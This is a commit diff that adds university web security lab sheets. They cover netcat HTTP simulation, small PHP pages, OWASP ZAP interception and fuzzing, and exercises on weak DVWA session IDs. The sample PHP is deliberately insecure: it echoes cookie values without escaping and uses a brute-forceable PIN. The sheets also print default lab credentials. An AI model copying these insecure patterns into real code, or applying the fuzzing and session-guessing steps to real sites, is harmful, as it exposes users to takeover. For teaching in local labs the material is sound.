Enhance documentation and formatting guidelines

- Added heading formatting rules to the highlighting guide, specifying the removal of bold formatting and preservation of anchor links.
- Updated authors for the C and Assembly Language lab to include Tom Shaw and Z. Cliffe Schreuders.
- Introduced PHP language support in the hacktivity theme CSS for improved code block labeling.
This commit is contained in:
Z. Cliffe Schreuders
2025-10-02 23:01:16 +01:00
parent ff138177df
commit 85a169a391
97 changed files with 2929 additions and 3 deletions

View File

@@ -167,6 +167,11 @@ Use `> Flag:` for CTF challenge tasks where students need to find and submit fla
### Step 0: Format Commands and Code Properly
Before applying highlighting, ensure all bash/terminal commands, C code, and assembly code are properly formatted:
**Heading Formatting Rules:**
- Remove bold formatting from all headings (remove `**` around heading text)
- Keep anchor links intact: `{#anchor-link}`
- Example: `## **General notes about the labs** {#general-notes-about-the-labs}` becomes `## General notes about the labs {#general-notes-about-the-labs}`
**Command Formatting Rules:**
- All terminal commands must be in markdown code blocks with `bash` language tag
- Escape pipe characters: `|` becomes `\|` within code blocks

View File

@@ -1,6 +1,6 @@
---
title: "From C to Assembly Language"
author: ["Thalita Vergilio"]
author: ["Thalita Vergilio", "Tom Shaw", "Z. Cliffe Schreuders"]
license: "CC BY-SA 4.0"
description: "Learn C programming concepts including structs, memory management, bitwise operators, and assembly language for 32-bit x86 processors. Practice reverse engineering and low-level programming skills."
overview: |

View File

@@ -0,0 +1,475 @@
---
title: "Introducing Web Security: Web and Local Proxy Fundamentals"
author: ["Z. Cliffe Schreuders", "Andrew Scholey", "Thalita Vergilio"]
license: "CC BY-SA 4.0"
description: "Learn web security fundamentals through hands-on exercises including HTTP client-server interactions, web server simulation with netcat, dynamic PHP pages, and security testing with OWASP ZAP proxy."
overview: |
In this lab you will delve into concepts and practical exercises that will equip you with a foundational understanding of web security. This hands-on lab explores various aspects of web security, starting with an introduction to client-server interactions using HTTP (HyperText Transfer Protocol). The lab guides you through simulating a web server from scratch using tools like netcat, creating dynamic web pages with PHP, and understanding the intricacies of client-server architecture. The importance of local web proxies, illustrated through the use of Zed Attack Proxy (ZAP), is emphasized as a means to intercept and modify web traffic for security testing purposes. The lab further introduces fuzzing techniques in ZAP and encourages practical application through tasks such as intercepting and altering HTTP requests.
Throughout this lab, you will learn by doing, actively engaging in activities. As part of the hands-on experience, you will also work through scored flag-based tasks, such as completing challenges related to Insecure Direct Object References. By the end of the lab, you will have acquired a solid foundation in web security fundamentals, simulation of web server activities, and practical skills in using tools like ZAP for security testing and assessment. This sets the stage for deeper exploration and learning in subsequent topics, contributing to the development of your web security expertise.
tags: ["web-security", "http", "php", "zap", "proxy", "fuzzing", "owasp"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1vLy56U53lqb8ZpQVLwxznCBsGv0KPM_uXJW1WD5DCiI/edit?usp=sharing"
type: ["ctf-lab", "lab-sheet"]
difficulty: "intermediate"
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["JAVASCRIPT", "HYPERTEXT MARKUP LANGUAGE (HTML)", "CASCADING STYLE SHEETS (CSS)", "HYPERTEXT TRANSFER PROTOCOL (HTTP)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "Broken Access Control / Insecure Direct Object References", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["server-side misconfiguration and vulnerable components"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
## General notes about the labs
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: For all of the labs in this module, start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
> Action: Make sure you are signed up to the module, claim a set of VMs for the web environment, and start your Kali VM and Web_Server VM.
Feel free to read ahead while the VM is starting.
==VM: Interact with the Kali VM==. (Click the launch icon after the VMs have started):
![VM Launch Icon][vm_launch_icon]
==action: Login with username "kali", password "kali"==.
## Introduction to the approach to lab activities for this module {#introduction-to-the-approach-to-lab-activities-for-this-module}
This module makes use of these great learning resources (amongst others):
* **Damn Vulnerable Web App (DVWA)**: a vulnerable website (written in PHP)
* **OWASP WebGoat and WebWolf**: an interactive teaching environment for web application security (written in Java)
* **OWASP Security Shepherd**: a CTF style set of challenges, with some additional training built-in (written in Java)
These lab sheets will guide you through your use of the above and also introduce some important fundamental concepts and techniques.
## Understanding the Web and client-server interactions {#understanding-the-web-and-client-server-interactions}
HTTP (HyperText Transfer Protocol) is a client-server protocol that involves a client (for example a Web browser, such as Firefox or Chromium) making requests for web pages from the web server (such as Apache or IIS).
![][image-3]
*Client-server architecture. Image: Gnome-fs-client.svg by David Vignoni \[LGPL (http://www.gnu.org/licenses/lgpl.html)\]*
Note that the server software can be on a remote “server” computer (as in the figure above), or as you will see throughout this module, we can also host web server software on your own computer, and access the pages via a web browser.
## The simplest web server {#the-simplest-web-server}
It can help build our understanding of how the web works, by using very simple tools to build/simulate a web server from scratch.
For our first example, you are going to use netcat to manually write the webpages in response to a web browser request.
==action: Open a terminal== ("Applications" menu, "Accessories", "Terminal") or click on this icon at the top of the Kali desktop:
![][image-4]
==action: Start a simple tcp server, listening on port 8070 using netcat:==
```bash
nc -l -p 8070
```
> Note: Most websites are hosted on tcp port 80 (http) or port 443 (for https, encrypted); however, you can specify another port, such as 8070, and include that in the URL you enter into a web browser.
==action: In Firefox open a new tab and visit:==
![][image-5]
```
http://localhost:8070/hello.html
```
Netcat will show the request that the web browser made:
```
GET /hello.html HTTP/1.1
Host: localhost:8070
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
```
This information includes the URL the web browser wants to access (/hello.html), and the encoding methods it accepts.
The web browser is now waiting for the server to respond.
==action: Type (or copy-paste) a response into the netcat server, to send back to the web browser:==
```
HTTP/1.1 200 OK
Server: netcat
Content-Type: text/html
<html><body>
<h1>Here's a web page!</h1>
Hello!
</body></html>
```
> Tip: Make sure you have an empty line where the headers finish, before the <html>.
This response from our web server includes the server software (netcat), the type of information sent (a web page), and the content of the page to display.
==action: Press Ctrl-C==.
Your web browser will display the web page.
## A simple dynamic web page using PHP {#a-simple-dynamic-web-page-using-php}
==action: Create a new file:==
```bash
vi hello.php
```
Vi is a powerful text editor available on most Linux systems. Vi is 'modal': it has an insert mode, where you can type text into the file, and normal mode, where what you type is interpreted as commands. ==action: Press the "i" key to enter "insert mode"==. ==action: Type your changes to the file, then exit back to "normal mode" by pressing the Esc key==. Now to ==action: exit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Enter and save this content:==
```php
<html><body>
The time is: <?php echo date("h:i:sa"); ?>
</body></html>
```
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
> Note: 127.0.0.1 is the IPv4 loopback address for [localhost](https://en.wikipedia.org/wiki/Localhost) (it connects back to the same computer, locally). We need to tell the PHP built-in-webserver to listen on a specific IP address.
==action: From Firefox visit:==
```
http://localhost:8075/hello.php
```
You should see our dynamic page load. The webserver is calculating the current time, and using this information to generate the website, which is then fed back in a reply to the web browser to display.
==action: Press F5 to refresh==.
**Leave the PHP server running**, and ==action: open another console tab (Ctrl-T)==.
## The simplest web client ("browser") {#the-simplest-web-client-browser}
Ok, so you now understand the server's role, you can also use netcat to play the role of the browser.
==action: Run:==
```bash
nc localhost 8075 -C
```
> Note: The -C instructs Netcat to send [CRLF for the newlines](https://en.wikipedia.org/wiki/Newline#Representation).
The Netcat process will connect to the Apache server running locally, and now you can type in commands to send to the server. ==action: Type:==
```
GET /hello.php HTTP/1.1
Host: localhost
```
==action: Press the Return key twice==.
> Tip: After starting Netcat you will need to type the above quickly.
==action: Read through the web server response==.
The server will respond with the HTML for a webpage. This is exactly how a Web browser works, except that the browser takes the HTML code and uses it to render and display the page graphically.
==action: Browse to the same page using Firefox http://localhost:8075/hello.php, and right-click the page and "View Page Source"==. Confirm this is the same source you obtained manually.
## A dynamic web page with GET parameters using PHP {#a-dynamic-web-page-with-get-parameters-using-php}
==action: Create a new file:==
```bash
vi pin.php
```
==action: Enter and save this content:==
```php
<html><body>
<?php
if (!isset($_GET["pin"])) {
echo 'Missing PIN';
} elseif ($_GET["pin"] == 123) {
echo 'Access granted!';
} else {
echo 'Incorrect PIN';
}
?>
</body></html>
```
> Note: Reminder: Vi is 'modal'. ==action: Press the "i" key to enter "insert mode"==. ==action: Type your changes to the file, then exit back to "normal mode" by pressing the Esc key==. Now to ==action: exit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: From Firefox visit:==
```
http://localhost:8075/pin.php
```
Assuming you still have the PHP built-in server still running (from above), you should see our dynamic page load, and a message saying the PIN is missing.
> Note: If your PHP server is not running, re-launch it by running: `php -S 127.0.0.1:8075`
==action: Try sending a number:==
```
http://localhost:8075/pin.php?pin=1
```
Finally, as we know from the source code, ==action: send the correct PIN:==
```
http://localhost:8075/pin.php?pin=123
```
## Using a local Web proxy to intercept and modify Web traffic {#using-a-local-web-proxy-to-intercept-and-modify-web-traffic}
"*Zed Attack Proxy (ZAP) is a free, open-source penetration testing tool being maintained under the umbrella of the Open Web Application Security Project (OWASP). ZAP is designed specifically for testing web applications and is both flexible and extensible. At its core, ZAP is what is known as an "intercepting proxy." It stands between the tester's browser and the web application so that it can intercept and inspect messages sent between browser and web application, modify the contents if needed, and then forward those packets on to the destination. In essence, ZAP can be used as a "man in the middle," but also can be used as a stand-alone application, and as a daemon process.*"
![][image-6]
Using ZAP enables you to intercept HTTP requests between your browser and the web server you are testing. This is an important technique that enables you to test the security of websites.
==action: Start OWASP Zap== ("Applications" menu, "03 - Web Application Analysis", "Zap").
![][image-7]
*Starting OWASP Zap*
==action: Wait for the proxy to start==. Select, "No, I do not want to persist this session at this moment in time" and ==action: Click "Start"==.
You can get help by pressing F1.
Also please refer to the ZAP userguide: [https://www.zaproxy.org/docs/desktop/](https://www.zaproxy.org/docs/desktop/)
This introduction video gives an overview of ZAP:
[Overview of ZAP](https://www.youtube.com/watch?v=eH0RBI0nmww&list=PLEBitBW-Hlsv8cEIUntAO8st2UGhmrjUB)
==action: The easiest way to start using Zap, is to click Manual Explore on the Quick Start tab, and enter the URL of the website, in this case "http://localhost:8075/pin.php", and click "Launch Browser"==.
![][image-9]
*ZAP Manual Explore interface*
A new instance of Firefox will start, now with all traffic routed through Zap.
> Note: All of Firefox's Web traffic will now be sent via the Zap program, which is acting as a local proxy. This enables you to view and modify any requests sent to or received from the server.
Zap has two interfaces: the traditional one you see when you first open the application, and the HUD (Heads Up Display), which appears as an overlay on top of the browser. Ultimately, it is down to personal preference which interface you use.
**Optional: take the HUD tutorial.**
==action: The HUD can be disabled by clicking on the green button:==
![][image-10]
*HUD disable button*
==action: Refresh the page in Firefox (F5), switch to the Zap window interface and view the information that Zap has collected==.
==action: Within the History Tab, select an item and view the "Request" and "Response" by clicking on those tabs above==.
==action: In ZAP Tools/toggle break on all requests to experiment with intercepting the messages being sent between the browser and the server==.
Read the below excerpt from the ZAP UI guide to understand how to enable and disable interception of HTTP/S requests and responses:
![][image-11]
![][image-12]
*Set / Unset break on all requests and responses*
This sets and unsets a 'global' break point that will trap and display the next request or response in the Break tab. You can then change any part of the request or response that you want to and send it to the target application by pressing either of the 'Step' or 'Continue' buttons. Alternatively you can press the 'Drop' button to dispose of the request or response. You can switch between a single 'combined' break button and separates ones for requests and responses via the Options breakpoints screen
![][image-13]
*Step button*
This allows the trapped request or response to continue to the application or your browser with any changes that you have made to it. The 'global' break point will remain set so that the next request or response will also be caught. This button is only enabled when a request or response is trapped.
![][image-14]
*Continue button*
The 'global' break point will be unset so that subsequent requests and responses will no longer be caught by ZAP unless you have set break points on specific URLs. This button is only enabled when a request or response is trapped.
[https://github.com/zaproxy/zap-core-help/wiki/HelpUiTltoolbar](https://github.com/zaproxy/zap-core-help/wiki/HelpUiTltoolbar)
==action: Intercept requests by clicking the green icon:== ![][image-11]
This sets Zap to break on all requests. The proxy will let you edit all incoming and outgoing HTTP requests before they are sent to the server.
==action: Now back in Firefox, refresh the page==. The page won't load, since Zap will be blocking the response until you click ![][image-13] (or "Step" or "Continue" buttons in the HUD) to progress to the next request/response.
Zap will intercept the request and prompt you to view and potentially alter the request before it is sent to the server. ==action: Experiment by making some changes. Click:== ![][image-13]
> Note: You can view and modify the HTML source before it reaches Firefox. Make some changes to the HTML response and click "Accept changes".
==action: Turn off all intercepts==, by unsetting the breakpoint by continuing any intercepted using ![][image-17] or ![][image-12] to unset the global breakpoint.
Using local Web proxies enables a security tester to feed unexpected data through to Web servers and analyse responses, potentially exploiting Web-based software vulnerabilities, conducting attacks such as SQL injection or cross-site scripting (XSS).
## Fuzzing in Zap {#fuzzing-in-zap}
Fuzzing is a term for generating input for software, as a form of black box testing, to test the behaviours for various (and unexpected) input. Zap has fuzzing features which we can use to automate the process of manually trying lots of requests.
==action: Ensure all breakpoints are disabled (so you see a green indicator in Zap)==.
==action: From Firefox access these pages again:==
```
http://localhost:8075/pin.php
http://localhost:8075/pin.php?pin=1
http://localhost:8075/pin.php?pin=2
```
==action: From the main Zap window, view the History tab, and click on each of those requests, and view the content of the Request tab==.
==action: Highlight the parameter value sent:==
![][image-19]
*Highlighting parameter value in ZAP*
==action: Right click, and click "Fuzz...":==
![][image-20]
*Fuzz menu option*
> Note: A Fuzz Location is present in the Fuzzer.
==action: Click "Payloads…"==
![][image-21]
*Payloads dialog*
==action: Click Add==
==action: Select Type "Numberzz"; From 1 to 999==.
==action: Click "Generate Preview", and "Add"==.
![][image-22]
*Numberzz payload configuration*
==action: Click "OK", and "Start Fuzzer"==.
The results are shown in the Fuzzer tab.
==action: Click on one of the results, and view the Response tab==.
==hint: Find the correct PIN, by sorting the results by the "Size Resp. Body" column!==
You will get a chance to experiment with other Fuzzer functions such as multiple payloads and payload processors as you complete the challenges below.
## Log in to WebGoat and work through learning tasks {#log-in-to-webgoat-and-work-through-learning-tasks}
Your VM has your own instance of WebGoat (running locally on your Kali VM), ==action: access it by visiting:==
```
http://localhost:8085/WebGoat/login
```
==action: Create a new user and log in==.
Each week you will be allocated WebGoat lessons to work through. WebGoat is an excellent learning resource, and will enable you to practice and understand the concepts you are later assessed on.
==action: This week, work through:==
* Introduction
* General
> Note: The Developer Tools section under General assumes you are using Chrome, and the browser provided with your VM is Firefox. The developer/debugging tools that come with most browsers are fairly similar though, so try using Firefox to follow the tutorial and complete the tasks.
> Tip: When setting up the history filters in Zap (General/HTTP Proxies/Part 5), remember to change the port number to 8085 when copying and pasting the URL paths provided.
![][image-23]
*WebGoat interface*
## Login to Security Shepherd and work through assessed tasks {#login-to-security-shepherd-and-work-through-assessed-tasks}
> Flag: **The flags collected from Security Shepherd, should be entered into Hacktivity. Security Shepherd flags will form part of the module assessment.**
There is an instance of Security Shepherd on the Web_Server VM you activated on Hacktivity, you can access it from the kali VM by:
**==action: Visit Security Shepherd in Firefox:==**
```
https://webserver/login.jsp
```
> Tip: It's safe to ignore the certificate error. (Click Advanced, and add an exception.)
==action: Log into Security Shepherd using the username shepherd and the password tiaspbiqe2r== (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**ts **q**uite **e**asy **2** **r**emember)
If Security Shepherd asks you to change your password, you can do this, but choose one you can remember.
==action: For the first week, **complete the lesson / challenges for:**==
* **Insecure Direct Object References**
> Tip: For most of the tasks you should first load the task, then toggle the global breakpoints in Zap.
Please try to work through these by first referencing information about the concepts (for example, read about SQL injection attacks), and only as a last resort you may refer to online write ups about how to complete the OWASP Security Shepherd tasks. You will get more from the learning experience by completing the challenges without direct guidance; however, if you are truly stuck there are online resources.
## Conclusion {#conclusion}
At this point you have:
* Learned Web fundamentals, and about important web security concepts
* Simulated the actions of a Web server using Netcat, created a simple dynamic PHP webpage to understand server-side processing, and simulated web browser access
* Used a web proxy to view and alter client requests and incoming server responses
* Used a Fuzzer
* Used WebGoat to learn some basics
* Used Security Shepherd to learn about some common web security problems, and start building your web security practical skills.
Congratulations! This sets the stage for the rest of the module, where you will dive deeper into these topics.
[image-1]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-1.png
[image-2]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-7.png
[image-8]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-8.png
[image-9]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-9.png
[image-10]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-10.png
[image-11]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-11.png
[image-12]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-12.png
[image-13]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-13.png
[image-14]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-14.png
[image-15]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-15.png
[image-16]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-16.png
[image-17]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-17.png
[image-18]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-18.png
[image-19]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-19.png
[image-20]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-20.png
[image-21]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-21.png
[image-22]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-22.png
[image-23]: {{ site.baseurl }}/assets/images/web_security/1_intro_web_security/image-23.png
[vm_launch_icon]: {{ site.baseurl }}/assets/images/common/vm_launch_icon.png

View File

@@ -0,0 +1,395 @@
---
title: "Web Security: Sessions and Cookies"
author: ["Thalita Vergilio", "Z. Cliffe Schreuders", "Andrew Scholey"]
license: "CC BY-SA 4.0"
description: "Learn about web security sessions and cookies through hands-on exercises using DVWA, OWASP WebGoat, and Security Shepherd. Understand cookie mechanisms, session management, and security vulnerabilities."
overview: |
In this web security lab you will delve into sessions and cookies. The relevance of this lies in the critical role cookies play in web interactions, enabling websites to remember user states and enhance user experiences. The lab employs practical exercises and open-ended challenges, utilizing tools such as Damn Vulnerable Web App (DVWA), OWASP WebGoat, and OWASP Security Shepherd. As you navigate through the labs, you will gain hands-on experience in understanding cookies, creating a basic PHP page to set cookies, using a local web proxy (OWASP Zap) to inspect cookie interactions, and exploring session cookies. This practical approach provides a foundation for subsequent topics like cross-site scripting and cross-site request forgery.
Throughout the lab, you will learn to self-host PHP pages, use OWASP Zap to analyze and manipulate cookies, and comprehend the nuances of session cookies. The DVWA challenges offer a real-world application of your knowledge, requiring you to assess and exploit vulnerabilities at different security levels. For instance, you will investigate weaknesses in session ID generation, analyze source code for session IDs, and assess the security implications of various approaches. Additionally, CTF tasks in Security Shepherd will provide hands-on experiences in session management, poor data validation, and security misconfigurations. By completing these challenges, you will develop practical skills addressing complex security scenarios mirroring the challenges faced by penetration testers and ethical hackers in real-world scenarios.
tags: ["web-security", "sessions", "cookies", "dvwa", "zap", "owasp"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1xcbf0bqtdMGgJAjeedw5MUbkRosMyQ_UZ0gN4IeCBFs/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["cookies", "HYPERTEXT MARKUP LANGUAGE (HTML)", "HYPERTEXT TRANSFER PROTOCOL (HTTP)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "Broken Access Control / Insecure Direct Object References", "SESSION HIJACKING", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Client-Side Vulnerabilities and Mitigations"
keywords: ["client-side storage"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["server-side misconfiguration and vulnerable components"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
## General notes about the labs
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: For all of the labs in this module, start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
> Action: Make sure you are signed up to the module, claim a set of VMs for the web environment, and start your Kali VM.
Feel free to read ahead while the VM is starting.
==VM: Interact with the Kali VM==.
==action: Login with username "kali", password "kali"==.
## Introduction to the approach to lab activities for this module {#introduction-to-the-approach-to-lab-activities-for-this-module}
This module makes use of these great learning resources (amongst others):
* **Damn Vulnerable Web App (DVWA)**: a vulnerable website (written in PHP)
* **OWASP WebGoat and WebWolf**: an interactive teaching environment for web application security (written in Java)
* **OWASP Security Shepherd**: a CTF style set of challenges, with some additional training built-in (written in Java)
These lab sheets will guide you through your use of the above and also introduce some important fundamental concepts and techniques.
## Understanding cookies {#understanding-cookies}
A cookie is a small piece of data sent by the server when you request a web page and stored in your machine by your browser. Cookies were designed so websites could keep track of state, thus enabling more complex interactions such as, for example, adding different items to a shopping cart, or browsing to different parts of a website without having to authenticate multiple times. It is thanks to cookies that websites "remember" who you are and what you were doing when you last visited them.
## The simplest cookie {#the-simplest-cookie}
We are going to create a very simple page which uses PHP to get a parameter called "my_cookie", passed as a query string, and sets the value of the "my_cookie" cookie.
==action: Open a terminal and type the command below to create a file called cookie.php==.
```bash
vi cookie.php
```
Vi is a powerful text editor available on most Linux systems. Vi is 'modal': it has an insert mode, where you can type text into the file, and normal mode, where what you type is interpreted as commands. ==action: Press the "i" key to enter "insert mode"==. ==action: Type your changes to the file, then exit back to "normal mode" by pressing the Esc key==. Now to ==action: exit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```php
<?php
$cookie_value = $_GET["my_cookie"];
setcookie("my_cookie", $cookie_value, time() + (86400 * 30), "/");
?>
<html>
<body>
<?php
echo "Cookie value is: " . $_COOKIE["my_cookie"];
?>
</body>
</html>
```
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
> Note: 127.0.0.1 is the IPv4 loopback address for [localhost](https://en.wikipedia.org/wiki/Localhost) (it connects back to the same computer, locally). We need to tell the PHP built-in-webserver to listen on a specific IP address.
==action: From Firefox visit:==
```
http://localhost:8075/cookie.php?my_cookie=NomNomNom
```
You should see a dynamic page load, but the cookie has not been set yet.
==action: Press F5 to refresh==.
You should now see the cookie value appear on the page.
> Question: Why was the cookie value not set the first time you loaded the page?
==action: Experiment with changing the value of the my_cookie parameter in the browser==.
==action: **Close Firefox, but Leave the PHP server running**==.
## Using a local Web proxy to view cookies {#using-a-local-web-proxy-to-view-cookies}
You can use OWASP Zap to view Set_Cookie requests sent by the server to the client, as well as cookies stored in the client that are sent back to the server.
==action: Start OWASP Zap== ("Applications" menu, "03 - Web Application Analysis", "owasp-zap").
![][image-3]
*Starting OWASP Zap*
==action: Accept the license and wait for the proxy to start==. ==action: Select, "No, I do not want to persist this session at this moment in time"== and ==action: Click "Start"==.
Remember you can get help by pressing F1.
==action: Click on the Firefox icon to open an instance of the browser pre-configured to work with Zap==.
![][image-4]
*Firefox icon in ZAP*
==action: Wait for the browser to open and navigate to==
```
http://localhost:8075/cookie.php?my_cookie=chocchips
```
If prompted to take the HUD tutorial again, ==action: select "Continue to target"==.
==action: After the page has loaded, find the GET request in Zap and look at the response tab==.
> Question: Can you see a Set-Cookie header sent by the server to the browser?
![][image-5]
*Set-Cookie header in ZAP response*
==action: Select the request tab==.
> Question: Are there any cookies sent by the browser to the server? Is my_cookie set to the value you expected?
==action: Refresh the page in Firefox and select the new GET request from the History tab at the bottom==.
==action: Look at the request and response tabs again==.
> Question: Did the browser send the cookie to the server with the value you expected?
==action: Refresh a few more times and confirm that your cookie is being included with every request==. Your browser will keep sending the cookie every time it requests a page from the same server, until the cookie expires.
==action: Open another tab and navigate to==
```
http://localhost/login.php
```
==action: In Zap, look at the request sent by the browser==.
> Question: Was the cookie included in the request?
![][image-6]
*Cookie in request headers*
It is important that you have a good understanding of the interaction between the client (your browser) and the server at this stage. This sets the foundation for a number of more complex attacks which are covered later in the course, such as cross-site scripting and cross-site request forgery.
## Session cookies {#session-cookies}
Session cookies are temporary cookies used to identify user interactions with a Web application that take place within a window of time. They are stored in the browser's memory and deleted when the user closes the browser.
We are going to write a very simple PHP page that sets a session cookie. We are then going to use Zap to intercept the communication between the client and the server so we can understand the exchanges that happen.
==action: Open a terminal and type the command below to create a file called session.php==.
```bash
vi session.php
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
echo "Session cookie value is: " . $_COOKIE["PHPSESSID"];
?>
</body>
</html>
```
==action: Exit back to "normal mode" by pressing the Esc key==. Now, to ==action: exit and save the file, press the ":" key, followed by "wq" (write quit), and press Enter==.
If your PHP server is no longer running, ==action: start it again by typing:==
```bash
php -S 127.0.0.1:8075
```
==action: Close Firefox completely (all windows), then open a new instance of Firefox from Zap to ensure you have cleared all session cookies and are hooked up to the proxy==.
==action: From Firefox visit:==
```
http://localhost:8075/session.php
```
You should see the page load.
==action: Press F5 a few times to refresh==.
==action: Look at the GET requests in Zap==.
> Question: Does the session cookie change when you refresh the page?
==action: Close the browser and open it again from Zap==. ==action: Press F5 to refresh==.
> Question: Did you get the same session id from before? Why not?
==action: Go to your terminal and press Ctrl + C to stop the PHP server==.
## DVWA challenges {#dvwa-challenges}
Damn Vulnerable Web App (DVWA) is a web application written in PHP, with a MySQL database. It is vulnerable by design, and used by security professionals and web developers to learn about web application vulnerabilities and how to exploit them.
The instance of DVWA you will be interacting with is installed locally in your Kali.
For this part of the lab, you will need your Zap proxy open and a browser window that is hooked up to work with it.
==action: In Firefox, close all tabs apart from the one you are using==.
==action: Navigate to==
```
http://localhost/
```
This is where DVWA is located, ==action: log in using the default credentials: admin/password==.
> Note: **You may need to restart the database, open a terminal and type sudo service mariadb start - the password is kali. You should then be able to login with admin/password.**
### Low Security Level {#low-security-level}
DVWA has four different security levels: low, medium, high and impossible. ==action: Select "DVWA Security" from the left-hand side menu and read the information about what the different security levels mean==. ==action: Ensure "low" is selected==.
==action: Select "Weak Session IDs" from the left-hand side menu==.
==action: Click on the "Generate" button a few times==.
==action: In Zap, find the POST requests generated by the button and look at the session cookies generated to keep track of the session (dvwaSession)==.
> Question: Can you see any problems with the way this web application generates its session IDs?
> Question: How could a malicious attacker exploit this vulnerability?
### Medium Security Level {#medium-security-level}
==action: Select "DVWA Security" from the left-hand side menu and change the security level to "medium"==.
==action: Go back to the "Weak Session IDs" page and click on the "Generate" button a few times==.
==action: In Zap, find the POST requests generated and look at the dvwaSession cookies==. They are not purely sequential anymore, but there may be a pattern to them. ==hint: Can you guess what it is?==
==action: Click on the "View Source" button to look at the server-side code that is generating the session ids==.
![][image-7]
*DVWA source code for session ID generation*
> Note: The code above sets the session to the current time (in seconds). ==hint: How could a malicious attacker use this information to guess a user's session id?==
### High Security Level {#high-security-level}
==action: Select DVWA Security from the left-hand side menu and change the security level to "high"==.
==action: Go back to the "Weak Session IDs" page and click on the "Generate" button a few times==.
==action: In Zap, find the POST requests generated and look at the dvwaSession cookies==. The values assigned to this cookie appear to be random now. The fact that the string contains 32 characters could lead you to suspect it has been hashed using the MD5 algorithm. Hashing, however, is not encryption and, technically, cannot be directly reversed.
> Question: How would you attempt to unhash the string?
==action: You could try an online database==. If the string is a dictionary word or simple number combination, chances are the MD5 hash for it is known and can be looked up. ==action: Search for an MD5 lookup database **outside of your Kali VM** and look up the dvwaSession hashes generated==.
> Question: What did they resolve to? Would you say the approach used to generate session ids in this case is secure?
## Log into Security Shepherd and work through assessed tasks {#log-into-security-shepherd-and-work-through-assessed-tasks}
> Flag: For this week, **complete the lesson and challenges for:**
* **(Broken) Session Management (only the first 5 challenges)**
* **Poor Data Validation**
* **~~Security Misconfigurations~~**
### Session Management Tips {#session-management-tips}
> Hint: You may want to use Zap's built-in decoder (Ctrl + E) to complete some of the "Session Management" challenges.
